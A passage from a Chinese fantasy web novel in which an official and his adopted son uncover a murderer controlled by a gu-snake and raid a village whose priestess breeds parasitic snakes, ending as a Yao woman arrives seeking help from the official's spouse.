陶十和陶十一直接上手,陆闯再也维持不住波澜不惊的样子,身子拼命扭动挣扎,急急说道:“大人这是做什么?我已经认罪,大人要打要杀悉听尊便,何必如此折辱与我?” 宋亭舟已经懒得听他诡言浮说,“你以为你说的什么因为看不惯他们五人家业渐兴,碍了你的眼便动了杀心,这种拙劣的理由本官会相信?” 陶家兄弟不顾陆闯挣扎,三两下扒开他的衣裳,只见他裸露出来的身体上遍布着青黑色的纹身。其中胸膛上的刺青最为完整,刺的是上人身、下蛇尾的怪物。怪物嘴巴里吐出一条长长的黑色东西,居然不是舌头,而是一条指肚大的小蛇,小黑蛇闭着眼睛,像是在沉眠,若不是尾尖偶尔轻幅度甩动,还以为这蛇是刺青的一部分。 毫无疑问,这就是连伤五人性命的剧毒之蛇!宋亭舟带的衙役们全都抽出半截刀刃,满脸戒备的盯着那条小蛇。 躺在地上的异族小哥儿被楚辞喂了药,这会儿强撑着坐了起来,一脸震惊的看着陆闯的胸口,也不知是在看纹身,还是那条小蛇。 他视线在陆闯的脸上和小蛇之间来回游荡,因失血过多而泛白的唇越抿越死。 小黑蛇可能察觉到了什么危险,黑色尾尖颤动的频率越来越快,竟似长在陆闯胸膛上现在要强行分离一般,折腾的陆闯眼含痛苦之色,从喉咙里发出一声声压抑的痛呼。 “嘶……啊!” 小蛇的蛇尾强行脱离陆闯身体的刹那,带起陆闯胸口一片夹杂血色的嫩肉,它摄人的竖瞳倏地睁开,下一瞬迅速往离他最近的陶十一身上飞去,目标正是他的喉咙。 “十一!” “保护大人!” “嗷~” “雪狼!啊?你……” 所有人的动作都没有雪狼的快,只见它飞扑过去,宽厚的兽掌一巴掌将小黑蛇拍到地上,死死按住,然后毫不犹豫的张开兽口,把小黑蛇嚼吧嚼吧就吞进了肚子里。 PC站点如章节文字不全请用手机访问 第34章 自助餐 其余人也吓了一跳,“怎么样了小辞,它吞进去了?” “快想办法让雪狼拉出来啊,那蛇看着就有毒。” “我去买巴豆!” 陶十一这几天随宋亭舟在外东奔西跑,早已打听到了一些隐秘,自然知晓小黑蛇的厉害。而且就刚才那副神秘的扬景,谁都能看出来陆闯的诡异之处。 他感动的单膝跪在雪狼身边,“好狼,你救了我一命,往后就是我陶十一的亲兄弟了!狼弟,你可千万不能有事啊!” 本来因为担心雪狼,心情不甚明朗的楚辞:“……” 陶十一真正的同胞兄弟陶八、陶十:“……” “呃……啊!” 一声惨叫打破了尴尬的境地,只见陆闯捂着胸口一脸狰狞的倒在地上,身上的刺青仿佛活过来一样在他皮肉下游走,里面的青黑色线条速度极快的从他胸口窜到脸上和身体各处。陆闯仿佛在忍受极大的痛苦,口中发出一阵阵痛苦的哀嚎。 与此同时,楚辞察觉到雪狼似乎也有异样,火速将它眼皮掀开一看。一道道黑色细线在它瞳孔中乱撞,且线越来越多,几乎要将雪狼赤色的狼瞳覆盖,和陆闯身上的情景十分相似。只是那些黑线并没有扩展到雪狼全身,像是被关在了它的眼睛里。 楚辞还算镇定,他摊开自己随身携带的药箱,从里面取出一排长短、粗细不一的银针。还没来得及扎到雪狼身上,便肉眼可见的发现它眼中的黑线一根根褪去消散,雪狼又恢复了猩红的同它变异老爹一样特殊的狼瞳。 楚辞心头一松,但还是不大放心,拿出一把小巧精致的匕首在雪狼健壮的狼腿上轻轻一划。迎着雪狼委屈巴巴的眼神,将血液收集到一段小竹筒里,又往里面加了两种药粉,血液颜色未变。 耐心的将雪狼伤口上药包扎,楚辞安抚性的摸了摸它脑袋,对从桌案后走下来的宋亭舟比划,“没事了干爹。” 宋亭舟微微弯腰替雪狼顺毛后对众人说道:“你们都先不要靠近陆闯,此人身上还有古怪。” 陆闯身旁的衙役们立即四散开来,整个公堂突然肃静,只有陆闯状似野兽的粗喘。 受伤的高大哥儿欲言又止。 宋亭舟突然用一种缓慢又迟疑的语调慢慢说道:“我知道你是鹋族人,我懂得一点鹋族语言,你可以和我说。” 旁人一脸茫然,大人说的什么? 只有那小哥儿眼睛一亮,飞速用鹋语回复了了一句,嗓音竟比宋亭舟还磁性性感,“他中了蛊,现在被反噬,已经快要死了。” 语罢神情复杂的看了眼本该毒发身亡,此刻却活蹦乱跳在楚辞怀里蹭蹭的雪狼。 宋亭舟对鹋语只是略通,大致听懂的这个小哥儿的意思。 “中蛊?”他眉头紧锁。做为一个正统考科举入仕、信奉孔孟之道的官员,在他的认知体系里,蛊术被归类到怪力乱神的邪术里,是背离正统儒家观念的存在。 鹋族久居深山,与世隔离,今年他本就该派人探访鹋寨和瑶寨,重新检籍,如今倒是碰巧了。只是若寨中之人真会下蛊,此行一去恐有危险。 “我要把他带回鹋寨。”鹋族小哥儿突然指着陆闯说道。 宋亭舟下意识回了一句,“你要救他?” 鹋族小哥疑惑的说:“怎么可能,我要用他体内残存的蛊虫,找出他供奉的人,鹋族的蛊不是用来害人的。”实际上这也是他这次出山的目的。 他师父年纪太大了,新老祭祀交替的仪式近在眼前,他们寨子突然有人中了蛊术。自己这才追到德庆县来,谁料刚找到些蛊虫的踪迹,就被郑二给骗回家了。 眼下他想先带着陆闯的尸体回寨子里去,先查明对方种的蛊术分属哪个鹋寨,再前去当面质问。 “你会解蛊?”宋亭舟问到自己最关心的地方。 鹋族小哥儿老老实实摇了摇头,“我不会,但我们寨子里的圣女会。鹋族中不是所有人都会下蛊,一般只有历代圣女才会,那男人应该是为了供奉圣女,所以才被下了蛊。”他虽然长相看上去朴拙可靠,但性子似乎已经没有在市井中沾染,所以格外简单单纯,宋亭舟救了他,他便问什么答什么,毫无防备之心。 PC站点如章节文字不全请用手机访问 宋亭舟不免想起孟晚,忆起他刚到宋家时的小心思,故作乖巧和灵巧的想法。要是晚儿的话,定然先把他人旁敲侧击打听个遍,再编个来历唬人一通再说。 他嘴角微翘,随后又习惯性的板起脸来,“此人枉害性命,若是被人指使,或是供奉什么妖人,便犯了邪术之罪。按禹国律法,凡师巫假降邪神,书符、咒水等,及妄称仙圣、神子等,一应左道乱正之术,或私授诡术,草菅人命等,为首者凌迟处死;从犯皆处以绞刑。” 小哥儿不以为意,“我们鹋寨有自己的方式处罚族人。” “只要身处禹国土地,便同是禹国人,既是国人,就要遵从国法。”宋亭舟叫人妥善处理已经仅剩一口气儿的陆闯,又派了脚程最快的陶十一,让他拿着自己的知府令牌去西梧府京郊调兵。 虽然赫山县的兵跟秦艽离去,但西梧府府兵还有三千,任什么邪魅魍魉,还怕他们不成? 五天后,宋亭舟已经将案子断完,停了费敬的职务由县丞暂且管事。 楚辞用毒药抑制住了陆闯体内的蛊虫,但只是杯水车薪,顶多让他多撑一段日子。 陆闯的体内被蛊虫和毒药侵害,人已经全身瘫痪,动都不能动弹一下。宋亭舟带着他和楚辞、雪狼、陶家兄弟等,随鹋族小哥儿回他们山寨。 一是因为鹋寨里可能会解开陆闯的蛊虫,好让他吐出背后供奉的人到底是哪个鹋寨的。二来若他实在不说,按照鹋寨小哥儿的说法,只要将人带回山寨圣女面前,分析出是哪一支鹋族人下的蛊虫,便能顺藤摸瓜的找过去。 鹋族小哥儿自称是下一任祭祀,名唤蚩羽,他们一族不善下蛊,圣女担当的也是治病救人的职责。 而且据族中的老人说,他们一族本来是整个鹋族中最骁勇善战的一支。后来禹国成立之前的王朝,境内混战,今天换个君主,明天换个大王,导致全族人都被波及,朝不保夕。他们这一支中便有位勇士,带领整个鹋族人从川贵迁徒到岭南,路上战死了太多族人,到岭南后鹋族人便全都躲在深山里休养生息,这一躲就是两百年。 刚开始的时候,鹋族各个寨子之间还来往密切,后来却渐渐没了消息,只有祭祀先祖的时候,祭司们才会各自从寨子里出发聚集起来。 蚩羽的寨子位处山清水秀的深山中,小径崎岖不平,有的地方连路都没有,他们将马匹车辆都扔在山脚下,徒步进山。 宋亭舟用眼睛丈量着脚下的土地,思索着修路可能不易。鹋族的寨子和壵族又有所不同,位置太过偏僻,人口又稀少。若是修路进山,还不如将人都迁徙出来,与汉族人混居而住。 从早上出发,到傍晚前他们终于回到了蚩羽的寨子。这寨子看上去很小,只有壮族中那柑寨的一半大小,寨子里统共也没超过一百户人家。 看到出来经历世俗险恶的蚩羽回到寨子的时候十分开心,他顶多十八岁,性子又单纯,脚步中都透着轻快。 楚辞纳闷的看着他身上被纱布包裹的伤口,感叹于对方强大的恢复能力,也不知道是不是鹋族人都这样。 从进入寨子后,雪狼便寸步不离的跟在楚辞和宋亭舟身边,一会在楚辞前面龇牙咧嘴的低吼,一会儿跑到宋亭舟身侧竖起耳朵,耸动鼻子。 楚辞轻轻拍抚他毛茸茸的脑袋,对宋亭舟比划,“干爹,好像不大对,雪狼在警惕。” “别怕,山下都是我们的人。”宋亭舟目光锐利的盯着眼前看似有些空旷的寨子。 蚩羽也察觉到了异样,他快步跑向寨子里面,宋亭舟等人紧随其后。 往里走去果然听到了人声,都是在用鹋语沟通,能听出几分气急败坏的意味来。 抬眼只见寨子中心处的空地上,是一口寨里人平常吃水用的水井,比寻常水井宽阔两倍,井壁是用石块垒制而成,上面的辘轳上还挂了个木桶,应当是前不久还有人使用。 可现在来看,井口已经爬满了颜色各异的蛇,条条颜色鲜艳,五彩斑斓,肉眼可见的含有剧毒。 一大群鹋族人在离井口两米远的地方围了个圈,拿着用特殊材料制成的火把,没好气地驱赶那些蛇。 可熏走一条,那井里又冒出三条,源源不断,仿佛无穷无尽一般。还有人一时不察被毒蛇咬伤,一位头顶银冠的少女在为患者医治。 “蚩羽,你怎么这么久才回来?他们是谁?你在外面认识的朋友?”终于有人在空闲时发现了蚩羽和宋亭舟一行人,对宋亭舟他们十分好奇的模样。 驱蛇的人也有听见他们说话的,回头笑容灿烂的招呼蚩羽,“蚩羽,外面好不好玩啊?哪天也带我去看看呗……哎呦!圣女救命,我被咬了!” 旁边同伴一脚将他踢出圈子,自己补了上去,嘴里面抱怨道:“谁叫你分心的!都什么时候了还逗蚩羽玩?” 蚩羽见情形不对,忙走到圣女旁边,“圣女,到底是怎么回事,大祭司呢?” PC站点如章节文字不全请用手机访问 圣女见他回来也是如释重负,她们寨子里的人太少了,多上一个人都是好的,更何况是蚩羽。“有其他寨子的人往我们寨子里下蛊,大祭司中了蛊术,大祭司为了救人被下了蛊,就在保金家楼下躺着。” 蚩羽大惊,“什么!大祭司中了蛊?”他忙跑到距离最近的一座竹楼下面去看大祭司。 宋亭舟一行留在原地,虽然受众人注目,但这些穿着蓝色无袖衣裳和短裤的鹋族人眼神中却不带一丝恶意,只是好奇的打量他们。 宋亭舟率先领头要了个火把帮忙驱蛇,身后的陶家兄弟也有样学样。 井中有水,用火烧是烧不起来的,这样一条条的驱赶也不是长久之计。 楚辞对宋亭舟简单的比划了一下,将他背着的包袱打开,从里面取出几包药粉,然后把它们掺到了一起。 “姑娘,劳烦你叫大家将火把都放在地上围成一圈,我儿子要用毒驱赶那些蛇。”宋亭舟用生疏的鹋语对圣女说。 圣女好奇的瞧了瞧看了眼楚辞,因为他们是蚩羽带来的,竟然极为信任的同意了。 她招呼族人按照宋亭舟所说将火把放到地上围成一个火圈,间歇或有悍不畏死毒蛇钻过火圈便拿工具拍死。 也有的地方被几条蛇一起压过去,将火焰扑灭,但火把特有的植物味道,也将那些蛇熏得动作迟缓。然后被雪狼一口一口当零食似的咬进嘴里,离得近了还能听到它嘴巴里发出咔吧咔吧的声音。 楚辞见状摆手招呼其余人后退,用帕子捂住口鼻开始往火把上撒药粉。“噼里啪啦”的微小声音从火把上传出,靠近火把的蛇开始成群结队的死亡。 等楚辞一圈撒完,花花绿绿的死蛇已经将那些火把都埋起来了,但还是阻止不了烟雾上窜,那烟雾极其霸道,那些蛇触之即死。 宋亭舟脱下外罩的薄衫,学着楚辞的样子,一手用帕子捂住口鼻,一手开始往圈内扇风。 其他人也迅速反应过来,拿扇子、树叶,衣裳、帽子,各式各样的东西把烟雾往里面扇。雪狼则完全不受影响的四处巡视漏网之鱼,发现了就吃掉,和吃自助餐似的。 又过了一炷香的时间,那些蛇就全都被毒死,井口不知为何,也不再往外爬蛇了。 雪狼用狼爪扒了扒死蛇堆,无聊的打了个饱嗝。 众人还来不及欢呼,只见蚩羽从竹楼上呼唤,“圣女,你快进来看看,大祭司快要不行了。”那是将他养大的老人,蚩羽声音中带着颤抖的哭腔。 PC站点如章节文字不全请用手机访问 第35章 蛇女 圣女闻言忙跑到楼上去,楚辞听不懂鹋族人的语言,在宋亭舟的解释下也跟了上去。 过了一会他才下来对宋亭舟摇摇头,两只手飞速舞动,“没有陆闯那样严重,但年纪太大,已经救不回来了。” 果然,他手还没放下,住楼上便传来了悲戚的哭喊声。 —— 两天后,宋亭舟的队伍新增了一个圣女,还有眼睛红肿但面色刚毅的蚩羽。但被陶八一路背到蚩羽寨子的陆闯却不见踪影,他和老祭司一样,被永远的留在了这片大山里。 “大人,接下来我们是不是就要去那个养蛇的鹋寨了?”陶十一好奇的问道。 下山重新与大部队汇合,宋亭舟骑在马上沉声说道:“是,去见识一番鹋族的蛊术,和那个滥杀无辜的圣女。” 陶八犹豫了一番,想对宋亭舟说:大人,不然我们几个带人过去吧,你回府城等我们的消息。 但又清楚宋亭舟的为人,只怕说了也是白说,随即住了嘴,骑上马跟在宋亭舟左右,又叮嘱几个弟弟万事以大人安慰为先。 西梧府的鹋族人虽然住的分散,但总体都是在德庆县附近,圣女取出陆闯身上的蛊虫是供奉女娲的一支鹋族后,做为信任祭祀的蚩羽当即知道了那一支鹋族人的大概位置。 他们从德庆县边境,紧挨着江门府的村子附近落脚,几番打听,终于确定了那支鹋族人的落脚之地。 之所以能确定,是因为这附近村子里同样有被毒蛇咬死的村民。只不过大家并没有往蛊虫害人这上面想,岭南山岭多毒瘴,他们还以为是那几人倒霉才会被毒蛇咬死。 宋亭舟带人进了山,走过一段险要的山崖后,便能看见远处分布在林子里的一座座竹楼。 “先休整一番,待暮色四合,我们再潜进去。” 夕阳没入山边的最后一刹那,寨子里的空地上传来芦笙悠扬婉转和木鼓的沉稳庄重的声音。每一次的敲击声都像是在传递某种古老的信号,回荡在山林里。树木上的枝桠猛地一颤,随即短促的扑棱声接二连三响起,藏在树上的鸟群被惊得四散逃离,翅膀拍打的声音和鼓点完美的融合在一块,几片旋落的羽毛,在风中打着旋儿飘向地面。 鹋寨里点起星星点点的火把,很快连成一片明亮的区域,用老竹搭建起的高台上出现了一道体态婀娜的身影。 她穿着青黑色的无袖上衣,露着古铜色腰线的同色短裙,脚踝、手腕、腰间,都挂着用银链串起的铃铛。 头上戴的银冠繁复而不失异域风情之美,盘踞其上的银色小蛇下密密麻麻的银坠遮住她上半截脸,舞动的时候银坠如细碎星辰般簌簌散开,隐约能瞥见其中那一双透着野性、仿若藏着原始力量的双眸。 她在台上舞动,而她的子民们则在台下兴奋的又唱又跳,随着激昂的鼓点越敲越快,台下突然开始有人跳着跳着便站立不动,随后嘴巴里爬出一条小指粗细的黑色小蛇来。 小黑蛇会自己游走至台上跳舞的圣女身上,伴着她的舞蹈轻晃蛇头,像是也在跟着跳舞。 台下鹋族人越来越多的站在原地,随着圣女身上的小黑蛇也越来越多,远在蚩羽寨子的一处小土包里,突然也钻出的一条小黑蛇来。 可土包周围早被撒上了一圈白灰色粉末,小蛇刚爬出来便触碰到那些粉末,只三秒——便从身体开始向头尾两侧腐烂,瞬间化为一滩血水。 这时远在女娲一支的鹋族圣女,在台上舞动的身影突然一僵,随后手捂胸口吐出一大口黑血来。 触到黑血的小蛇疯狂舔舐地上的血液,其他小蛇也都往那处涌动,甚至身上沾了黑血的小蛇都被其他小蛇咬死。 然后台下立即有人随之死去,死去后的身体中再次爬出一条一模一样的小蛇来加入蛇群当中,直到血液被添的一滴不剩,躁动的蛇群才安定下来。 “我能感觉到,供奉我的奴隶已经死去……”圣女沙哑的声音在台上响起,“我需要更多的奴仆。” 台下的人群开始愤怒的吼叫,像是一群没有灵魂的野兽,他们听从圣女的话推搡上来三个人,两男一女,穿着普通的粗布衣裳,应该是无意中在山林里迷失的普通百姓。 他们跪在台上,被迫张开嘴巴,眼见圣女口中发出某种奇怪的音调,收到召唤般,山林深处爬出一条比成年男子腰还粗、长约三丈的巨蟒。 圣女用银质匕首划破手腕,无视躁动的蛇群,将自己的血收集到一个人头大小的陶罐里,再用匕首在里面搅动片刻,将陶罐里的东西放到巨蟒庞大的身躯前,做了一个“请”的恭敬姿态。 巨蟒游动到台下,吓得周围鹋族人全都闪躲开来。它吐出猩红色的舌头,将陶罐整个卷到口中,连嚼都不嚼便整个吞下,闭上眼睛,露出拟人化的满足神色。 PC站点如章节文字不全请用手机访问 然后懒洋洋的吐出三条指肚大小的小黑蛇,圣女用自己的血喂养那三条小黑蛇,然后驱使它们爬到台上三个外族人口中。 他们三人有老有少,均被这诡异的一幕吓得神志不清,疯狂摇动头颅,眼看着挣扎也于事无补,小蛇已经缓缓从他们腿上逐渐爬到胸膛处,下一刻就真的要钻进他们口中。寨子四周突然开始亮出火把,将整座山寨围拢其中。 圣女警惕的望向林子里,抬手欲将所有小蛇都赶向宿主的身体里去,但林子里突然传出夜宵低回清幽的声音。引得那些小蛇转了个方向,往林子里爬去。 台上会下蛊的圣女,眼神一利,再次割破手腕,用自己的鲜血吸引那些小黑蛇。但这时林子里又传来滚滚白烟,浓烈的腥臭味飘进寨子,不光那些小黑蛇疯狂往浓烟处爬去,甚至连那条巨蟒都有些躁动不安。 眼见着那些用圣女心血培养的小黑蛇要一去不返,她终于狠下心来将台下子民们体内的母蛊引出。 同样的小黑蛇再次从他们口中爬出,那些被蛊虫寄生的鹋族人纷纷痛苦地倒在地上,仿佛一瞬间苍老了十岁不止。 “就是现在!” 远处的宋亭舟他们等的就是母蛊出来,否则这么多条人命今晚必死。 楚辞和蚩羽又点起另外一处药堆,这回那些小黑蛇再不犹豫,犹如飞蛾扑火一般,全都疯狂涌入火堆当中。 雪狼当下已经无所畏惧的冲进寨子和巨蟒缠斗起来,他不愧是山犭军的血脉,比寻常的狼体型更大不说,又不惧蛊毒。 其他士兵们围上来,各个手持劲弓,搭上燃着火油的弓箭往巨蟒身上射去。陶十一领头持刀近身与巨蟒搏斗,陶十负责解救那三个被无辜牵连的百姓,顺便带人把地上的鹋族人都捆绑起来。 剩下陶八护在宋亭舟周围,台上的圣女手段诡异,让人不得不防。 与蚩羽同族的圣女走出来与会驱蛇的圣女对峙,脸上满是怒容,两位圣女用鹋语快速交流,哪怕宋亭舟略懂鹋语,也听不分明。 后面的楚辞和蚩羽已经将所有蛊蛇烧死,蚩羽跑过来听到两人对话大受震惊。知道宋亭舟懂一些鹋语,便充作翻译,将实情简单的对宋亭舟翻译了一遍。 宋亭舟眉头越皱越死,“你是说这个叫风佘的圣女是被她们的大祭司要求种蛊的?” 蚩羽也很惊愕,“是的,我听我们寨子的大祭司说过,风佘她们这一支是中蛊最厉害的一支,有的蛊甚至已经培育了好几百年,一代代的传承下来。可我们鹋族会下蛊的族人不光她们一支,大家都遵守着族规,从不轻易下蛊。”他也实在弄不明白风佘她们寨子的大祭司为什么会这样做。 宋亭舟没想到得到的竟然是这样的结果,遂问道:“那她们族的大祭司现在在哪儿?” 不论如何,圣女风佘指使陆闯害死多条人命是事实,甚至有可能在其他村落还有如陆闯这样的“仆人”存在,风佘和那个大祭司今天必须要死。 蚩羽忌惮的看着风佘,问了她一句鹋语。风佘银冠下的眼睛幽幽的望着宋亭舟和围剿上来的士兵,冷笑片刻,突然说了句什么,然后突然在台上蹲下身子,掀开身下的竹板跳了下去。 台子下面居然是空的! 蚩羽快步凑上去,然后恍然大悟的说:“那下面是井,怪不得,我们鹋族各个寨子的井下应该是相互连接的暗河!” 他说完不等反应,竟然直接也跳了下去。 宋亭舟等人飞速围了上去,楚辞见状也要往下跳,若是蚩羽中蛊,他好歹能用毒药压制,再将人带回来交给蚩蝶医治。 怎料蚩蝶拦住了他,着急的连比带说:“你别跳,蚩羽是我们族最厉害的勇士,风佘没有巨蛇帮助是打不过他的!” 他们一支本来就是整个鹋族中武力水平最高的,蚩蝶本身只会解蛊治病,身体柔弱。但蚩羽做为下一任祭祀培养,武力值是他们一脉乃至整个鹋族中的最强者,风佘打不过他。 果然,没超过一盏茶的功夫,蚩羽就将风佘从井口内提了出来。 另一头伤了十几个士兵,巨蛇被砍得伤痕累累,雪狼瞧准机会飞扑上去咬住它七寸不放,士兵们一拥而上。 风佘被蚩羽制住双目泣血,“不要!” “咚”的一声巨响,蛇头被乱刀砍下,血洒染了整片广场,每个人的身上都或多或少的沾染了一点蛇血。 那巨蛇没了头还在地上挣扎了一会儿,而后才抽搐着渐渐不动了。 PC站点如章节文字不全请用手机访问 这会儿还没到天亮,众人开始清扫战场,楚辞和蚩蝶安顿伤员。 宋亭舟则持刀走向风佘,问了对方几句关于大祭司的信息,见从她嘴里得不到任何有用的信息后,便干脆利落的了结了她。 原地休整到凌晨天蒙蒙亮,宋亭舟带上风佘鹋寨的所有人赶回府城,他们这些人除了个别老人和孩子外,几乎都被风佘中了蛊。整个寨子里还藏着许多蛇窟与风佘炼制的蛊虫,若不是他们昨晚行事果断,与风佘对上必将损伤更多。 除了楚辞对其中两种蛊虫十分感兴趣,想要留下钻研,其余毒物全被烧死,为了防止有遗漏的地方,整座山寨都被宋亭舟烧了。 家乡被就此毁去,鹋族人敢怒不敢言,他们心里恨死了宋亭舟,可碍于对方人手众多,并不敢反抗。 宋亭舟并不在乎他们是如何想的,他考虑的是如何让鹋族人融入到禹国人里。 同脾气温和、对人友好的壵族人情况不同,潜默化的使他们心甘情愿不知要等到猴年马月,目前最好的办法就是强制性给他们安排活干。 不若在城郊附近找个空地给他们盖房、开荒,年轻些的还能去晚儿工坊里上工。 但语言交流目前是最大的问题,看来瑶寨的事只能暂时耽搁起来,书院要先建立。 就这样一路披星戴月,宋亭舟还要在路上琢磨怎么按着这些鹋族人。赶在四月底的时候,才终于回到府城。 数百名鹋族人还在城外被府兵看押,宋亭舟来不及回家,先带人去府衙,吩咐底下的官员开辟出来一块郊外的空地划给这些鹋族人。 北郊的宝秀山就不错,山势平坦,山下修整一番可直接用水泥铺平,先盖一批能最快建好的茅草房给他们居住,后续蚩羽一支的其余鹋族人也要往府城附近搬迁。 西梧府的鹋族人,总人口也没超过五千,是壵、瑶、苗,三族中最少的一个种族,也更好随时安排。将他们安置在郊外,一来离城中较近,能更顺畅的融入禹国普通百姓。二来宋亭舟也便与观察他们,毕竟还有个心肠歹毒的大祭司还没有下落,但蚩羽从这些鹋族人口中打听到的消息来看,那个祭祀和孟晚曾经遇到过得怪道士竟有几分相同之处,只是当下还不好说两人是不是同一个人。 府衙内由乔经历领头,分别将这些鹋族人安顿到附近的百姓家里借居几日,费用由官府承担。 余下的杂事就不用宋亭舟操心了,他近一月没回家,吩咐好诸多公务后,便立即带着楚辞雪狼往家里走。 “晚儿不在家?” “娘你是说有人上门找我,然后晚儿跟着那人去瑶寨了?” PC站点如章节文字不全请用手机访问 第36章 瑶寨 宋亭舟离开第二天—— 孟晚最近难得空闲些日子,宋亭舟又不在家,在家待着也是无聊,便想带阿砚到周边县城玩玩,还能收收货,看看商站的运营情况。 “乖儿子,和阿爹出门开不开心?”他将阿砚抱到马车上,这会儿虽然雨多,但路上比去年他们来西梧府时的气候凉爽。 可惜常金花坐马车晕车,又放心不下自己新开的炸鸡店,最近店里新上了珍罐坊的果汁,放到井水里冰镇半天,下午配上香酥羽脍喝正正好,天气越热生意越火爆。 现在西梧府外来的商贾越来越多,也带来许多当地没有的新鲜玩意,之前宋亭舟在府衙门口买的饺子便是一对北方的老夫妻,跟着做买卖的儿子来到了西梧府。 常金花可能是受到了启发,最近一直在研究新菜品。孟晚很是惊喜,也不提醒,由着她自己琢磨。 “阿爹吃介个!”阿砚脱了鞋钻到车厢里就开始翻找好吃的,找到了还不忘给孟晚尝尝。 这个车厢是孟晚前些日子找木匠定制的大车厢,放到盛京来说肯定是逾规的,但在西梧府他夫君最大,没有人不长眼的会觉得他逾规。 在适当权益内总该让自己舒服一点吧? 孟晚心安理得的进了他的大车厢里。车厢内部被储物的木箱围成一个大床铺,他像阿砚一样把鞋子拖到床铺外边,坐在软乎乎的垫子上缓缓躺下,刚好能伸得开胳膊腿,并排躺三个大人没问题。但宋亭舟那样高个子的就要蜷缩一点腿才行。 雪生坐在外面亲自赶车,黄叶跟在孟晚身边上了车,路上孟晚只负责带玩,阿砚的吃喝拉撒都要黄叶来操心。 黄叶做事稳妥,基本又是他带大了阿砚,出门游玩要的是舒心,家里几个小丫鬟年纪太小,就不带了。 黄叶将车厢左右的帘子拉开,两边的风正好穿堂而过,带来一股泛着潮气的湿风。 阿砚扶着充当床头柜的储物箱,好奇的往外面看去,手里还抓了一把没剥壳的桂圆往孟晚嘴里塞,差点没把孟晚给孝死。 “好阿砚,你倒是给阿爹剥剥壳啊!”孟晚将他小手从自己嘴边推开,语气宠溺又无奈。 阿砚不好意思的笑了,给孟晚示范了一下自己努力剥壳的样子,露出整齐的迷你的乳牙,“阿砚剥不动。” 孟晚坐起身子,接过他手里的桂圆,“阿爹给你剥。” 坐在外侧的黄叶默默递上一个精致轻巧的竹编小筐,这是孟晚在壵族人的店铺订的,家里现在一半以上的用具都是竹制品。 孟晚一边接着小框给阿砚剥桂圆,一面看外面的风景,但雪生还没将车驾出胡同,孟晚便见一个年轻女人抱着个只有一岁多的小孩往他家门前走。 “雪生,先等等。”孟晚叫住雪生,“去问问门口那个女人什么来历。” “夫郎,我也下去看看。”黄叶紧跟着雪生下了车,在雪生栓马绳的时候,先一步走到那个女人面前。 那女人正东张西望,犹犹豫豫要不要敲门,见黄叶走过来,忙警惕的抱紧孩子往后闪躲,眼神不安的往热闹的街道上看去。 黄叶年纪小,面相和善,他笑着问道:“你刚才要敲门的这户人家是我主家,你是要找谁吗?” 女人迟疑着说:“这户人家的主人是叫宋亭舟吗?”她说话语调缓慢,带着生疏怪异的音调,像是异族人。 府城里经常有壵族人过来,卖些精巧的手工制品。再说孟晚的珍罐坊也长久和壵族人合作,黄叶倒不觉得奇怪。 只是见面前的女人身上,穿着打扮似乎和壵族人的穿着有细微差别,布料上的刺绣没有壵族精致,但颜色更为鲜艳,很多饰品都是五彩斑斓,以大红和白色为主。 头饰也不相同,壵族多是用绣技精湛的头巾折叠后覆在头顶,而这个女人则是将长长的头发都盘到头顶上,再往上面装点上银饰。 除了头上,耳朵上也戴着大大的银耳圈。 黄叶对着她耳朵发了一会儿呆,随后在对方忐忑不安的视线下回过神来,“你是谁?找宋大人是什么事?” 女人拍了拍怀里因为接连赶路而有些哭闹的孩子,眼神羞怯的说:“我叫兰朵,宋亭舟说我们家遇到麻烦可以来找他。” PC站点如章节文字不全请用手机访问 黄叶本来还没反应过来,但很快被她这句话误解,心里咯噔一声,下意识望向路边的马车。 雪生从后面跟上来拉了他一把,“别乱想,我见过这女人。” 他这话是为了让黄叶不要误会,大人不可能背叛夫郎。然而黄叶眼睛瞬间睁大,连雪生哥都见过这女人吗? 黄叶视线悄悄往兰朵怀里的孩子上瞥。身为母亲的本能,让她察觉到了黄叶的异样眼光,不知所措的将孩子往怀里带了带。 雪生知道来者身份之后,立即返回车厢旁,隔着车窗对里面的孟晚说:“夫郎,是大人刚来岭南的时候,半路摔伤,救他的那户人家。” “那我过去看看吧,暂时别惊动老夫人了。”孟晚只能舍弃他舒适的大床,让雪生留下来看着阿砚,自己下车去找兰朵交涉。 孟晚穿了身低调的蓝色长衫,头上简单的挽了个发髻,插上祥云银簪,笑盈盈的走过去对兰朵说:“兰朵姑娘?” 兰朵见了他先是一愣,随后眼神闪躲,脑袋微微低垂,用缓慢且陌生的腔调小声说:“我是。” “我叫孟晚,是宋亭舟的夫郎,还没谢过你的救命之恩。”孟晚正正经经的施礼道谢。 兰朵不好意思的说:“不用客气,宋亭舟给我们留了银子的。” “他与我说过,兰朵,你家里是遇到了什么困难吗?” 孟晚心里是很感激她的,毕竟宋亭舟当时受了重伤,人都昏迷了过去,雪生一时半会又没能找到,若不是被人搭救,血腥味很有可能引来野兽。 如此惊险,不管是什么人,抱着什么样的心思,孟晚都心怀谢意。 兰朵眼圈一红,“我家里出了事,想找宋亭舟救我阿爸他们。”她们后来猜到宋亭舟可能是什么大人物,但当时似乎惹恼了对方,如果不是这次实在走投无路,兰朵也不好意思来找宋亭舟。 孟晚见她满脸疲惫,又带着孩子,像是长途跋涉过来的,“不若你们先随我进去歇歇吧,有事慢慢说。” 兰朵哄着哭闹不休的孩子,也是心疼,“可……可以吗?” 雪生已经重新将马车赶回门房了,孟晚在前面带路,“有什么不可以的,你们定是从远处赶过来的吧,大人还不要紧,孩子的尿布也该换换了。” 一岁多的小孩还不能自主小解,有时能来的及把尿,有时候根本没办法,兰朵的怀里的襁褓已经有些许异味了。 她脸颊腾地一下染上红晕,呐呐的说:“那就打扰了。”她的官话不大熟练,很多词都词不达意,孟晚都是蒙着听的。 常金花不在家,孟晚将人带到前院,让黄叶找了间客房,安顿多兰母子俩洗漱一番。又找了阿砚前些年的小衣裳和一身自己没穿过的新衣给她们换,厨房里也备了简单易消化的面条和蛋羹。 黄叶照顾小孩的经验丰富,抱着兰朵的儿子在怀里喂他吃面条和蛋羹,阿砚好奇的看着小宝宝。 兰朵也饿得够呛,狼吞虎咽的吃了一碗,碗刚一空,朱颜就接过去帮她添。 她不好意思的看向孟晚,对方并没有像他想的那样,态度不耐烦或者厌恶,反而一直十分和善的帮助她。 吃着碗里的面条,她突然就哭出声来,“谢谢你,是我坏。” 孟晚显然知道是怎么回事,哭笑不得的安慰她,“别哭了,你要是不想吃了就说说你家到底出了什么事?” 兰朵抹抹眼睛,几口将剩下的面条都吃完,这才徐徐诉说她家发生的事。 瑶族是西梧人口仅次于壵族的少数民族,既不像壵族那样都居住在一起,交流亲密。又不像鹋族一样相互之间从不往来。 